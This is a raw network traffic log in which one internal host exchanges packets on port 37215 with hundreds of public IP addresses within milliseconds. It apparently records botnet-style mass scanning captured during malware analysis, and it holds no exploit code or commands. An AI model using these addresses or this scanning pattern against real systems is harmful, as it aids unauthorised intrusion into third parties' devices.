Aug 1, 2024 15:35:04.554320097 CEST	37215	47767	156.231.148.77	192.168.2.14
Aug 1, 2024 15:35:04.554330111 CEST	47767	37215	192.168.2.14	41.17.169.14
Aug 1, 2024 15:35:04.554337978 CEST	47767	37215	192.168.2.14	41.101.245.240
Aug 1, 2024 15:35:04.554347992 CEST	47767	37215	192.168.2.14	156.231.148.77
Aug 1, 2024 15:35:04.554384947 CEST	56982	37215	192.168.2.14	197.226.64.65
Aug 1, 2024 15:35:04.554814100 CEST	37215	47767	41.145.234.237	192.168.2.14
Aug 1, 2024 15:35:04.554852009 CEST	47767	37215	192.168.2.14	41.145.234.237
Aug 1, 2024 15:35:04.554888010 CEST	37215	47767	153.160.91.101	192.168.2.14
Aug 1, 2024 15:35:04.554904938 CEST	37215	47767	157.88.44.87	192.168.2.14
Aug 1, 2024 15:35:04.554914951 CEST	37215	47767	197.214.10.23	192.168.2.14
Aug 1, 2024 15:35:04.554930925 CEST	47767	37215	192.168.2.14	157.88.44.87
Aug 1, 2024 15:35:04.554933071 CEST	47767	37215	192.168.2.14	153.160.91.101
Aug 1, 2024 15:35:04.554935932 CEST	37215	47767	207.72.2.22	192.168.2.14
Aug 1, 2024 15:35:04.554946899 CEST	37215	47767	197.218.196.14	192.168.2.14
Aug 1, 2024 15:35:04.554954052 CEST	47767	37215	192.168.2.14	197.214.10.23
Aug 1, 2024 15:35:04.554959059 CEST	37215	47767	197.80.146.139	192.168.2.14
Aug 1, 2024 15:35:04.554970026 CEST	37215	47767	157.99.35.159	192.168.2.14
Aug 1, 2024 15:35:04.554975033 CEST	47767	37215	192.168.2.14	197.218.196.14
Aug 1, 2024 15:35:04.554980993 CEST	47767	37215	192.168.2.14	207.72.2.22
Aug 1, 2024 15:35:04.554990053 CEST	37215	47767	41.111.50.53	192.168.2.14
Aug 1, 2024 15:35:04.555000067 CEST	47767	37215	192.168.2.14	157.99.35.159
Aug 1, 2024 15:35:04.555001020 CEST	47767	37215	192.168.2.14	197.80.146.139
Aug 1, 2024 15:35:04.555003881 CEST	37215	47767	157.252.35.88	192.168.2.14
Aug 1, 2024 15:35:04.555017948 CEST	37215	47767	41.112.226.208	192.168.2.14
Aug 1, 2024 15:35:04.555023909 CEST	47767	37215	192.168.2.14	41.111.50.53
Aug 1, 2024 15:35:04.555030107 CEST	37215	47767	157.254.189.84	192.168.2.14
Aug 1, 2024 15:35:04.555031061 CEST	55922	37215	192.168.2.14	41.5.246.163
Aug 1, 2024 15:35:04.555042982 CEST	47767	37215	192.168.2.14	157.252.35.88
Aug 1, 2024 15:35:04.555049896 CEST	37215	47767	41.249.141.200	192.168.2.14
Aug 1, 2024 15:35:04.555062056 CEST	47767	37215	192.168.2.14	41.112.226.208
Aug 1, 2024 15:35:04.555067062 CEST	47767	37215	192.168.2.14	157.254.189.84
Aug 1, 2024 15:35:04.555071115 CEST	37215	47767	39.169.197.181	192.168.2.14
Aug 1, 2024 15:35:04.555082083 CEST	37215	47767	197.176.140.240	192.168.2.14
Aug 1, 2024 15:35:04.555088997 CEST	47767	37215	192.168.2.14	41.249.141.200
Aug 1, 2024 15:35:04.555092096 CEST	37215	47767	116.138.181.208	192.168.2.14
Aug 1, 2024 15:35:04.555109024 CEST	47767	37215	192.168.2.14	39.169.197.181
Aug 1, 2024 15:35:04.555114031 CEST	37215	47767	157.192.161.162	192.168.2.14
Aug 1, 2024 15:35:04.555125952 CEST	37215	47767	35.9.223.10	192.168.2.14
Aug 1, 2024 15:35:04.555126905 CEST	47767	37215	192.168.2.14	197.176.140.240
Aug 1, 2024 15:35:04.555130005 CEST	47767	37215	192.168.2.14	116.138.181.208
Aug 1, 2024 15:35:04.555145979 CEST	37215	47767	41.54.252.218	192.168.2.14
Aug 1, 2024 15:35:04.555157900 CEST	37215	47767	41.180.223.215	192.168.2.14
Aug 1, 2024 15:35:04.555166960 CEST	47767	37215	192.168.2.14	35.9.223.10
Aug 1, 2024 15:35:04.555167913 CEST	37215	47767	41.211.9.237	192.168.2.14
Aug 1, 2024 15:35:04.555179119 CEST	47767	37215	192.168.2.14	41.54.252.218
Aug 1, 2024 15:35:04.555181980 CEST	37215	47767	187.134.205.189	192.168.2.14
Aug 1, 2024 15:35:04.555190086 CEST	47767	37215	192.168.2.14	157.192.161.162
Aug 1, 2024 15:35:04.555195093 CEST	47767	37215	192.168.2.14	41.180.223.215
Aug 1, 2024 15:35:04.555197001 CEST	47767	37215	192.168.2.14	41.211.9.237
Aug 1, 2024 15:35:04.555205107 CEST	37215	47767	157.91.94.208	192.168.2.14
Aug 1, 2024 15:35:04.555216074 CEST	37215	47767	130.200.154.111	192.168.2.14
Aug 1, 2024 15:35:04.555223942 CEST	47767	37215	192.168.2.14	187.134.205.189
Aug 1, 2024 15:35:04.555226088 CEST	37215	47767	197.167.213.89	192.168.2.14
Aug 1, 2024 15:35:04.555242062 CEST	47767	37215	192.168.2.14	157.91.94.208
Aug 1, 2024 15:35:04.555243969 CEST	37215	47767	157.83.179.212	192.168.2.14
Aug 1, 2024 15:35:04.555249929 CEST	47767	37215	192.168.2.14	130.200.154.111
Aug 1, 2024 15:35:04.555255890 CEST	37215	47767	212.254.77.2	192.168.2.14
Aug 1, 2024 15:35:04.555262089 CEST	47767	37215	192.168.2.14	197.167.213.89
Aug 1, 2024 15:35:04.555265903 CEST	37215	47767	41.62.96.38	192.168.2.14
Aug 1, 2024 15:35:04.555284023 CEST	47767	37215	192.168.2.14	157.83.179.212
Aug 1, 2024 15:35:04.555286884 CEST	47767	37215	192.168.2.14	212.254.77.2
Aug 1, 2024 15:35:04.555313110 CEST	47767	37215	192.168.2.14	41.62.96.38
Aug 1, 2024 15:35:04.555751085 CEST	40300	37215	192.168.2.14	119.229.85.175
Aug 1, 2024 15:35:04.555814981 CEST	37215	47767	112.131.111.20	192.168.2.14
Aug 1, 2024 15:35:04.555871010 CEST	37215	47767	41.211.157.241	192.168.2.14
Aug 1, 2024 15:35:04.555881023 CEST	37215	47767	179.102.61.180	192.168.2.14
Aug 1, 2024 15:35:04.555890083 CEST	47767	37215	192.168.2.14	112.131.111.20
Aug 1, 2024 15:35:04.555901051 CEST	37215	47767	197.143.47.243	192.168.2.14
Aug 1, 2024 15:35:04.555912971 CEST	47767	37215	192.168.2.14	41.211.157.241
Aug 1, 2024 15:35:04.555917978 CEST	47767	37215	192.168.2.14	179.102.61.180
Aug 1, 2024 15:35:04.555921078 CEST	37215	47767	207.8.204.59	192.168.2.14
Aug 1, 2024 15:35:04.555938005 CEST	37215	47767	202.129.152.8	192.168.2.14
Aug 1, 2024 15:35:04.555938005 CEST	47767	37215	192.168.2.14	197.143.47.243
Aug 1, 2024 15:35:04.555948973 CEST	37215	47767	197.113.47.163	192.168.2.14
Aug 1, 2024 15:35:04.555954933 CEST	47767	37215	192.168.2.14	207.8.204.59
Aug 1, 2024 15:35:04.555969000 CEST	37215	47767	157.132.239.105	192.168.2.14
Aug 1, 2024 15:35:04.555979967 CEST	37215	47767	197.41.44.36	192.168.2.14
Aug 1, 2024 15:35:04.555982113 CEST	47767	37215	192.168.2.14	197.113.47.163
Aug 1, 2024 15:35:04.555986881 CEST	47767	37215	192.168.2.14	202.129.152.8
Aug 1, 2024 15:35:04.555991888 CEST	37215	47767	197.236.64.225	192.168.2.14
Aug 1, 2024 15:35:04.556009054 CEST	37215	47767	41.85.194.69	192.168.2.14
Aug 1, 2024 15:35:04.556010962 CEST	47767	37215	192.168.2.14	157.132.239.105
Aug 1, 2024 15:35:04.556025028 CEST	47767	37215	192.168.2.14	197.236.64.225
Aug 1, 2024 15:35:04.556027889 CEST	47767	37215	192.168.2.14	197.41.44.36
Aug 1, 2024 15:35:04.556029081 CEST	37215	47767	157.156.89.32	192.168.2.14
Aug 1, 2024 15:35:04.556040049 CEST	37215	47767	197.15.208.193	192.168.2.14
Aug 1, 2024 15:35:04.556047916 CEST	37215	47767	157.241.206.208	192.168.2.14
Aug 1, 2024 15:35:04.556058884 CEST	37215	47767	157.82.207.141	192.168.2.14
Aug 1, 2024 15:35:04.556068897 CEST	47767	37215	192.168.2.14	41.85.194.69
Aug 1, 2024 15:35:04.556068897 CEST	47767	37215	192.168.2.14	197.15.208.193
Aug 1, 2024 15:35:04.556071043 CEST	47767	37215	192.168.2.14	157.156.89.32
Aug 1, 2024 15:35:04.556075096 CEST	47767	37215	192.168.2.14	157.241.206.208
Aug 1, 2024 15:35:04.556081057 CEST	47767	37215	192.168.2.14	157.82.207.141
Aug 1, 2024 15:35:04.556102991 CEST	37215	47767	41.114.182.91	192.168.2.14
Aug 1, 2024 15:35:04.556118965 CEST	37215	47767	197.154.43.246	192.168.2.14
Aug 1, 2024 15:35:04.556128025 CEST	37215	47767	104.158.145.195	192.168.2.14
Aug 1, 2024 15:35:04.556138992 CEST	37215	47767	41.182.193.35	192.168.2.14
Aug 1, 2024 15:35:04.556147099 CEST	47767	37215	192.168.2.14	41.114.182.91
Aug 1, 2024 15:35:04.556148052 CEST	47767	37215	192.168.2.14	197.154.43.246
Aug 1, 2024 15:35:04.556149006 CEST	37215	47767	41.185.243.18	192.168.2.14
Aug 1, 2024 15:35:04.556153059 CEST	47767	37215	192.168.2.14	104.158.145.195
Aug 1, 2024 15:35:04.556159019 CEST	37215	47767	41.17.84.98	192.168.2.14
Aug 1, 2024 15:35:04.556169033 CEST	37215	47767	41.220.236.70	192.168.2.14
Aug 1, 2024 15:35:04.556178093 CEST	47767	37215	192.168.2.14	41.182.193.35
Aug 1, 2024 15:35:04.556178093 CEST	47767	37215	192.168.2.14	41.185.243.18
Aug 1, 2024 15:35:04.556180000 CEST	37215	47767	157.168.124.150	192.168.2.14
Aug 1, 2024 15:35:04.556190014 CEST	47767	37215	192.168.2.14	41.220.236.70
Aug 1, 2024 15:35:04.556200027 CEST	47767	37215	192.168.2.14	157.168.124.150
Aug 1, 2024 15:35:04.556201935 CEST	47767	37215	192.168.2.14	41.17.84.98
Aug 1, 2024 15:35:04.556207895 CEST	37215	47767	157.185.13.160	192.168.2.14
Aug 1, 2024 15:35:04.556230068 CEST	37215	47767	157.183.234.178	192.168.2.14
Aug 1, 2024 15:35:04.556240082 CEST	37215	47767	183.168.187.248	192.168.2.14
Aug 1, 2024 15:35:04.556252003 CEST	37215	47767	157.78.107.180	192.168.2.14
Aug 1, 2024 15:35:04.556257010 CEST	47767	37215	192.168.2.14	157.185.13.160
Aug 1, 2024 15:35:04.556261063 CEST	47767	37215	192.168.2.14	157.183.234.178
Aug 1, 2024 15:35:04.556262016 CEST	37215	47767	197.45.215.185	192.168.2.14
Aug 1, 2024 15:35:04.556262016 CEST	47767	37215	192.168.2.14	183.168.187.248
Aug 1, 2024 15:35:04.556287050 CEST	47767	37215	192.168.2.14	157.78.107.180
Aug 1, 2024 15:35:04.556287050 CEST	47767	37215	192.168.2.14	197.45.215.185
Aug 1, 2024 15:35:04.556498051 CEST	45820	37215	192.168.2.14	197.61.79.229
Aug 1, 2024 15:35:04.556797028 CEST	37215	47767	146.216.234.161	192.168.2.14
Aug 1, 2024 15:35:04.556816101 CEST	37215	47767	117.16.132.169	192.168.2.14
Aug 1, 2024 15:35:04.556837082 CEST	47767	37215	192.168.2.14	146.216.234.161
Aug 1, 2024 15:35:04.556849957 CEST	47767	37215	192.168.2.14	117.16.132.169
Aug 1, 2024 15:35:04.556850910 CEST	37215	47767	41.190.104.238	192.168.2.14
Aug 1, 2024 15:35:04.556862116 CEST	37215	47767	41.0.169.213	192.168.2.14
Aug 1, 2024 15:35:04.556874037 CEST	37215	47767	51.144.147.99	192.168.2.14
Aug 1, 2024 15:35:04.556883097 CEST	47767	37215	192.168.2.14	41.190.104.238
Aug 1, 2024 15:35:04.556893110 CEST	47767	37215	192.168.2.14	41.0.169.213
Aug 1, 2024 15:35:04.556895971 CEST	37215	47767	197.4.200.237	192.168.2.14
Aug 1, 2024 15:35:04.556905985 CEST	47767	37215	192.168.2.14	51.144.147.99
Aug 1, 2024 15:35:04.556917906 CEST	37215	47767	157.218.116.60	192.168.2.14
Aug 1, 2024 15:35:04.556927919 CEST	47767	37215	192.168.2.14	197.4.200.237
Aug 1, 2024 15:35:04.556929111 CEST	37215	47767	197.77.7.175	192.168.2.14
Aug 1, 2024 15:35:04.556938887 CEST	37215	47767	41.195.129.212	192.168.2.14
Aug 1, 2024 15:35:04.556957006 CEST	47767	37215	192.168.2.14	157.218.116.60
Aug 1, 2024 15:35:04.556957960 CEST	37215	47767	197.177.225.149	192.168.2.14
Aug 1, 2024 15:35:04.556958914 CEST	47767	37215	192.168.2.14	197.77.7.175
Aug 1, 2024 15:35:04.556969881 CEST	37215	47767	157.231.228.165	192.168.2.14
Aug 1, 2024 15:35:04.556977034 CEST	47767	37215	192.168.2.14	41.195.129.212
Aug 1, 2024 15:35:04.557001114 CEST	47767	37215	192.168.2.14	197.177.225.149
Aug 1, 2024 15:35:04.557001114 CEST	47767	37215	192.168.2.14	157.231.228.165
Aug 1, 2024 15:35:04.557040930 CEST	37215	47767	157.165.58.232	192.168.2.14
Aug 1, 2024 15:35:04.557051897 CEST	37215	47767	41.232.154.242	192.168.2.14
Aug 1, 2024 15:35:04.557060957 CEST	37215	47767	157.189.107.191	192.168.2.14
Aug 1, 2024 15:35:04.557073116 CEST	37215	47767	34.71.43.94	192.168.2.14
Aug 1, 2024 15:35:04.557080030 CEST	47767	37215	192.168.2.14	157.165.58.232
Aug 1, 2024 15:35:04.557080984 CEST	47767	37215	192.168.2.14	41.232.154.242
Aug 1, 2024 15:35:04.557099104 CEST	47767	37215	192.168.2.14	157.189.107.191
Aug 1, 2024 15:35:04.557102919 CEST	47767	37215	192.168.2.14	34.71.43.94
Aug 1, 2024 15:35:04.557157993 CEST	54060	37215	192.168.2.14	36.149.65.88
Aug 1, 2024 15:35:04.557687998 CEST	37215	47767	157.5.143.48	192.168.2.14
Aug 1, 2024 15:35:04.557698965 CEST	37215	47767	49.45.152.112	192.168.2.14
Aug 1, 2024 15:35:04.557708979 CEST	37215	47767	41.180.21.169	192.168.2.14
Aug 1, 2024 15:35:04.557718992 CEST	37215	47767	157.174.219.177	192.168.2.14
Aug 1, 2024 15:35:04.557732105 CEST	47767	37215	192.168.2.14	157.5.143.48
Aug 1, 2024 15:35:04.557733059 CEST	37215	47767	197.102.129.106	192.168.2.14
Aug 1, 2024 15:35:04.557737112 CEST	47767	37215	192.168.2.14	49.45.152.112
Aug 1, 2024 15:35:04.557737112 CEST	47767	37215	192.168.2.14	41.180.21.169
Aug 1, 2024 15:35:04.557746887 CEST	37215	47767	197.71.1.91	192.168.2.14
Aug 1, 2024 15:35:04.557748079 CEST	47767	37215	192.168.2.14	157.174.219.177
Aug 1, 2024 15:35:04.557756901 CEST	37215	47767	168.140.93.187	192.168.2.14
Aug 1, 2024 15:35:04.557763100 CEST	47767	37215	192.168.2.14	197.102.129.106
Aug 1, 2024 15:35:04.557770967 CEST	39178	37215	192.168.2.14	41.3.241.204
Aug 1, 2024 15:35:04.557785988 CEST	47767	37215	192.168.2.14	197.71.1.91
Aug 1, 2024 15:35:04.557786942 CEST	47767	37215	192.168.2.14	168.140.93.187
Aug 1, 2024 15:35:04.557812929 CEST	37215	47767	35.99.67.8	192.168.2.14
Aug 1, 2024 15:35:04.557823896 CEST	37215	47767	197.34.252.91	192.168.2.14
Aug 1, 2024 15:35:04.557833910 CEST	37215	47767	157.213.41.28	192.168.2.14
Aug 1, 2024 15:35:04.557843924 CEST	37215	47767	157.89.3.182	192.168.2.14
Aug 1, 2024 15:35:04.557854891 CEST	47767	37215	192.168.2.14	35.99.67.8
Aug 1, 2024 15:35:04.557859898 CEST	47767	37215	192.168.2.14	157.213.41.28
Aug 1, 2024 15:35:04.557862997 CEST	47767	37215	192.168.2.14	197.34.252.91
Aug 1, 2024 15:35:04.557878017 CEST	47767	37215	192.168.2.14	157.89.3.182
Aug 1, 2024 15:35:04.558021069 CEST	37215	47767	41.108.126.213	192.168.2.14
Aug 1, 2024 15:35:04.558032036 CEST	37215	47767	41.218.230.41	192.168.2.14
Aug 1, 2024 15:35:04.558044910 CEST	37215	47767	197.56.216.48	192.168.2.14
Aug 1, 2024 15:35:04.558056116 CEST	37215	47767	169.218.228.61	192.168.2.14
Aug 1, 2024 15:35:04.558063030 CEST	47767	37215	192.168.2.14	41.108.126.213
Aug 1, 2024 15:35:04.558070898 CEST	37215	47767	197.209.246.43	192.168.2.14
Aug 1, 2024 15:35:04.558078051 CEST	47767	37215	192.168.2.14	41.218.230.41
Aug 1, 2024 15:35:04.558089972 CEST	47767	37215	192.168.2.14	169.218.228.61
Aug 1, 2024 15:35:04.558093071 CEST	37215	47767	197.208.197.80	192.168.2.14
Aug 1, 2024 15:35:04.558094025 CEST	47767	37215	192.168.2.14	197.56.216.48
Aug 1, 2024 15:35:04.558108091 CEST	47767	37215	192.168.2.14	197.209.246.43
Aug 1, 2024 15:35:04.558116913 CEST	37215	47767	41.9.162.52	192.168.2.14
Aug 1, 2024 15:35:04.558128119 CEST	37215	47767	157.207.102.184	192.168.2.14
Aug 1, 2024 15:35:04.558130980 CEST	47767	37215	192.168.2.14	197.208.197.80
Aug 1, 2024 15:35:04.558141947 CEST	37215	47767	197.137.16.215	192.168.2.14
Aug 1, 2024 15:35:04.558151960 CEST	37215	47767	41.226.83.182	192.168.2.14
Aug 1, 2024 15:35:04.558161974 CEST	47767	37215	192.168.2.14	41.9.162.52
Aug 1, 2024 15:35:04.558171988 CEST	47767	37215	192.168.2.14	157.207.102.184
Aug 1, 2024 15:35:04.558172941 CEST	47767	37215	192.168.2.14	197.137.16.215
Aug 1, 2024 15:35:04.558187962 CEST	47767	37215	192.168.2.14	41.226.83.182
Aug 1, 2024 15:35:04.558459997 CEST	58668	37215	192.168.2.14	165.23.40.149
Aug 1, 2024 15:35:04.558620930 CEST	37215	47767	157.90.127.89	192.168.2.14
Aug 1, 2024 15:35:04.558631897 CEST	37215	47767	110.131.37.17	192.168.2.14
Aug 1, 2024 15:35:04.558641911 CEST	37215	47767	157.172.66.197	192.168.2.14
Aug 1, 2024 15:35:04.558651924 CEST	37215	47767	197.27.66.176	192.168.2.14
Aug 1, 2024 15:35:04.558664083 CEST	37215	47767	197.124.185.247	192.168.2.14
Aug 1, 2024 15:35:04.558665991 CEST	47767	37215	192.168.2.14	157.90.127.89
Aug 1, 2024 15:35:04.558665991 CEST	47767	37215	192.168.2.14	110.131.37.17
Aug 1, 2024 15:35:04.558676958 CEST	37215	47767	132.63.208.225	192.168.2.14
Aug 1, 2024 15:35:04.558686972 CEST	37215	47767	41.145.62.113	192.168.2.14
Aug 1, 2024 15:35:04.558689117 CEST	47767	37215	192.168.2.14	157.172.66.197
Aug 1, 2024 15:35:04.558692932 CEST	47767	37215	192.168.2.14	197.27.66.176
Aug 1, 2024 15:35:04.558696985 CEST	37215	47767	197.216.74.157	192.168.2.14
Aug 1, 2024 15:35:04.558706999 CEST	47767	37215	192.168.2.14	132.63.208.225
Aug 1, 2024 15:35:04.558706999 CEST	47767	37215	192.168.2.14	197.124.185.247
Aug 1, 2024 15:35:04.558717012 CEST	37215	47767	202.178.37.9	192.168.2.14
Aug 1, 2024 15:35:04.558717966 CEST	47767	37215	192.168.2.14	41.145.62.113
Aug 1, 2024 15:35:04.558727026 CEST	47767	37215	192.168.2.14	197.216.74.157
Aug 1, 2024 15:35:04.558729887 CEST	37215	47767	41.153.66.47	192.168.2.14
Aug 1, 2024 15:35:04.558738947 CEST	37215	47767	157.143.45.235	192.168.2.14
Aug 1, 2024 15:35:04.558762074 CEST	47767	37215	192.168.2.14	41.153.66.47
Aug 1, 2024 15:35:04.558763027 CEST	47767	37215	192.168.2.14	202.178.37.9
Aug 1, 2024 15:35:04.558789015 CEST	47767	37215	192.168.2.14	157.143.45.235
Aug 1, 2024 15:35:04.559072018 CEST	39572	37215	192.168.2.14	157.128.189.238
Aug 1, 2024 15:35:04.559298992 CEST	37215	47767	41.3.229.45	192.168.2.14
Aug 1, 2024 15:35:04.559319973 CEST	37215	47767	157.140.124.196	192.168.2.14
Aug 1, 2024 15:35:04.559329987 CEST	37215	47767	58.158.24.89	192.168.2.14
Aug 1, 2024 15:35:04.559339046 CEST	47767	37215	192.168.2.14	41.3.229.45
Aug 1, 2024 15:35:04.559360027 CEST	47767	37215	192.168.2.14	58.158.24.89
Aug 1, 2024 15:35:04.559370041 CEST	47767	37215	192.168.2.14	157.140.124.196
Aug 1, 2024 15:35:04.559415102 CEST	37215	47767	157.113.39.180	192.168.2.14
Aug 1, 2024 15:35:04.559431076 CEST	37215	47767	157.133.18.233	192.168.2.14
Aug 1, 2024 15:35:04.559446096 CEST	37215	47767	41.170.48.200	192.168.2.14
Aug 1, 2024 15:35:04.559457064 CEST	37215	47767	36.36.129.64	192.168.2.14
Aug 1, 2024 15:35:04.559458971 CEST	47767	37215	192.168.2.14	157.113.39.180
Aug 1, 2024 15:35:04.559464931 CEST	47767	37215	192.168.2.14	157.133.18.233
Aug 1, 2024 15:35:04.559467077 CEST	37215	47767	197.229.127.192	192.168.2.14
Aug 1, 2024 15:35:04.559477091 CEST	47767	37215	192.168.2.14	41.170.48.200
Aug 1, 2024 15:35:04.559478045 CEST	37215	47767	197.220.236.159	192.168.2.14
Aug 1, 2024 15:35:04.559487104 CEST	47767	37215	192.168.2.14	36.36.129.64
Aug 1, 2024 15:35:04.559495926 CEST	37215	47767	88.142.5.135	192.168.2.14
Aug 1, 2024 15:35:04.559506893 CEST	47767	37215	192.168.2.14	197.220.236.159
Aug 1, 2024 15:35:04.559508085 CEST	37215	47767	196.213.134.194	192.168.2.14
Aug 1, 2024 15:35:04.559515953 CEST	47767	37215	192.168.2.14	197.229.127.192
Aug 1, 2024 15:35:04.559525013 CEST	37215	47767	157.7.143.95	192.168.2.14
Aug 1, 2024 15:35:04.559530020 CEST	47767	37215	192.168.2.14	88.142.5.135
Aug 1, 2024 15:35:04.559535980 CEST	37215	47767	45.120.73.243	192.168.2.14
Aug 1, 2024 15:35:04.559545994 CEST	37215	47767	41.24.177.190	192.168.2.14
Aug 1, 2024 15:35:04.559551954 CEST	47767	37215	192.168.2.14	196.213.134.194
Aug 1, 2024 15:35:04.559556007 CEST	37215	47767	41.15.120.52	192.168.2.14
Aug 1, 2024 15:35:04.559559107 CEST	47767	37215	192.168.2.14	45.120.73.243
Aug 1, 2024 15:35:04.559565067 CEST	47767	37215	192.168.2.14	157.7.143.95
Aug 1, 2024 15:35:04.559565067 CEST	37215	47767	41.175.83.26	192.168.2.14
Aug 1, 2024 15:35:04.559572935 CEST	47767	37215	192.168.2.14	41.24.177.190
Aug 1, 2024 15:35:04.559576035 CEST	37215	47767	41.115.17.71	192.168.2.14
Aug 1, 2024 15:35:04.559597015 CEST	47767	37215	192.168.2.14	41.15.120.52
Aug 1, 2024 15:35:04.559601068 CEST	37215	47767	197.174.54.13	192.168.2.14
Aug 1, 2024 15:35:04.559601068 CEST	47767	37215	192.168.2.14	41.175.83.26
Aug 1, 2024 15:35:04.559607983 CEST	47767	37215	192.168.2.14	41.115.17.71
Aug 1, 2024 15:35:04.559612989 CEST	37215	47767	41.141.48.13	192.168.2.14
Aug 1, 2024 15:35:04.559623957 CEST	37215	47767	75.133.88.223	192.168.2.14
Aug 1, 2024 15:35:04.559633970 CEST	37215	47767	157.190.188.25	192.168.2.14
Aug 1, 2024 15:35:04.559643030 CEST	47767	37215	192.168.2.14	197.174.54.13
Aug 1, 2024 15:35:04.559643984 CEST	47767	37215	192.168.2.14	41.141.48.13
Aug 1, 2024 15:35:04.559644938 CEST	37215	47767	200.95.152.35	192.168.2.14
Aug 1, 2024 15:35:04.559649944 CEST	47767	37215	192.168.2.14	75.133.88.223
Aug 1, 2024 15:35:04.559655905 CEST	37215	47767	41.148.181.36	192.168.2.14
Aug 1, 2024 15:35:04.559667110 CEST	37215	47767	27.91.90.155	192.168.2.14
Aug 1, 2024 15:35:04.559675932 CEST	47767	37215	192.168.2.14	157.190.188.25
Aug 1, 2024 15:35:04.559675932 CEST	37215	47767	41.181.74.46	192.168.2.14
Aug 1, 2024 15:35:04.559676886 CEST	47767	37215	192.168.2.14	200.95.152.35
Aug 1, 2024 15:35:04.559686899 CEST	47767	37215	192.168.2.14	41.148.181.36
Aug 1, 2024 15:35:04.559688091 CEST	37215	47767	174.28.60.47	192.168.2.14
Aug 1, 2024 15:35:04.559690952 CEST	47767	37215	192.168.2.14	27.91.90.155
Aug 1, 2024 15:35:04.559709072 CEST	47767	37215	192.168.2.14	41.181.74.46
Aug 1, 2024 15:35:04.559722900 CEST	47767	37215	192.168.2.14	174.28.60.47
Aug 1, 2024 15:35:04.559765100 CEST	45926	37215	192.168.2.14	157.195.222.173
Aug 1, 2024 15:35:04.559895039 CEST	37215	47767	157.39.33.114	192.168.2.14
Aug 1, 2024 15:35:04.559905052 CEST	37215	47767	157.101.135.88	192.168.2.14
Aug 1, 2024 15:35:04.559915066 CEST	37215	47767	41.109.136.254	192.168.2.14
Aug 1, 2024 15:35:04.559928894 CEST	47767	37215	192.168.2.14	157.39.33.114
Aug 1, 2024 15:35:04.559933901 CEST	37215	47767	157.216.80.194	192.168.2.14
Aug 1, 2024 15:35:04.559941053 CEST	47767	37215	192.168.2.14	157.101.135.88
Aug 1, 2024 15:35:04.559942961 CEST	47767	37215	192.168.2.14	41.109.136.254
Aug 1, 2024 15:35:04.559966087 CEST	47767	37215	192.168.2.14	157.216.80.194
Aug 1, 2024 15:35:04.559973001 CEST	37215	47767	41.123.0.116	192.168.2.14
Aug 1, 2024 15:35:04.559999943 CEST	37215	47767	197.20.174.170	192.168.2.14
Aug 1, 2024 15:35:04.560009956 CEST	37215	47767	156.81.187.228	192.168.2.14
Aug 1, 2024 15:35:04.560014009 CEST	47767	37215	192.168.2.14	41.123.0.116
Aug 1, 2024 15:35:04.560041904 CEST	47767	37215	192.168.2.14	156.81.187.228
Aug 1, 2024 15:35:04.560049057 CEST	47767	37215	192.168.2.14	197.20.174.170
Aug 1, 2024 15:35:04.560054064 CEST	37215	47767	66.95.163.195	192.168.2.14
Aug 1, 2024 15:35:04.560064077 CEST	37215	47767	136.11.239.2	192.168.2.14
Aug 1, 2024 15:35:04.560074091 CEST	37215	56050	222.229.210.86	192.168.2.14
Aug 1, 2024 15:35:04.560094118 CEST	47767	37215	192.168.2.14	66.95.163.195
Aug 1, 2024 15:35:04.560097933 CEST	47767	37215	192.168.2.14	136.11.239.2
Aug 1, 2024 15:35:04.560117006 CEST	56050	37215	192.168.2.14	222.229.210.86
Aug 1, 2024 15:35:04.560199976 CEST	37215	60072	37.65.110.217	192.168.2.14
Aug 1, 2024 15:35:04.560215950 CEST	37215	44812	41.37.70.213	192.168.2.14
Aug 1, 2024 15:35:04.560240984 CEST	60072	37215	192.168.2.14	37.65.110.217
Aug 1, 2024 15:35:04.560261011 CEST	44812	37215	192.168.2.14	41.37.70.213
Aug 1, 2024 15:35:04.560380936 CEST	47762	37215	192.168.2.14	157.7.210.65
Aug 1, 2024 15:35:04.560412884 CEST	37215	36804	69.172.16.4	192.168.2.14
Aug 1, 2024 15:35:04.560453892 CEST	36804	37215	192.168.2.14	69.172.16.4
Aug 1, 2024 15:35:04.561024904 CEST	44772	37215	192.168.2.14	191.96.26.120
Aug 1, 2024 15:35:04.561188936 CEST	37215	41704	146.228.195.65	192.168.2.14
Aug 1, 2024 15:35:04.561198950 CEST	37215	58222	157.36.218.204	192.168.2.14
Aug 1, 2024 15:35:04.561208963 CEST	37215	39632	31.28.24.214	192.168.2.14
Aug 1, 2024 15:35:04.561218977 CEST	37215	37034	41.148.252.199	192.168.2.14
Aug 1, 2024 15:35:04.561229944 CEST	41704	37215	192.168.2.14	146.228.195.65
Aug 1, 2024 15:35:04.561233044 CEST	58222	37215	192.168.2.14	157.36.218.204
Aug 1, 2024 15:35:04.561249018 CEST	39632	37215	192.168.2.14	31.28.24.214
Aug 1, 2024 15:35:04.561249018 CEST	37034	37215	192.168.2.14	41.148.252.199
Aug 1, 2024 15:35:04.561480045 CEST	37215	54154	41.188.29.162	192.168.2.14
Aug 1, 2024 15:35:04.561530113 CEST	54154	37215	192.168.2.14	41.188.29.162
Aug 1, 2024 15:35:04.561681986 CEST	49232	37215	192.168.2.14	197.210.14.218
Aug 1, 2024 15:35:04.561960936 CEST	37215	33272	157.136.251.140	192.168.2.14
Aug 1, 2024 15:35:04.562030077 CEST	33272	37215	192.168.2.14	157.136.251.140
Aug 1, 2024 15:35:04.562309980 CEST	36318	37215	192.168.2.14	157.109.153.252
Aug 1, 2024 15:35:04.562315941 CEST	37215	60384	157.46.113.86	192.168.2.14
Aug 1, 2024 15:35:04.562371969 CEST	60384	37215	192.168.2.14	157.46.113.86
Aug 1, 2024 15:35:04.562453985 CEST	37215	56692	41.234.174.35	192.168.2.14
Aug 1, 2024 15:35:04.562491894 CEST	56692	37215	192.168.2.14	41.234.174.35
Aug 1, 2024 15:35:04.562772036 CEST	37215	54826	197.37.212.181	192.168.2.14
Aug 1, 2024 15:35:04.562808990 CEST	54826	37215	192.168.2.14	197.37.212.181
Aug 1, 2024 15:35:04.562936068 CEST	51138	37215	192.168.2.14	197.230.24.247
Aug 1, 2024 15:35:04.563514948 CEST	39904	37215	192.168.2.14	157.253.214.61
Aug 1, 2024 15:35:04.563709974 CEST	37215	45406	71.55.134.200	192.168.2.14
Aug 1, 2024 15:35:04.563726902 CEST	37215	44340	197.47.216.54	192.168.2.14
Aug 1, 2024 15:35:04.563751936 CEST	45406	37215	192.168.2.14	71.55.134.200
Aug 1, 2024 15:35:04.563779116 CEST	44340	37215	192.168.2.14	197.47.216.54
Aug 1, 2024 15:35:04.564115047 CEST	42624	37215	192.168.2.14	34.244.242.21
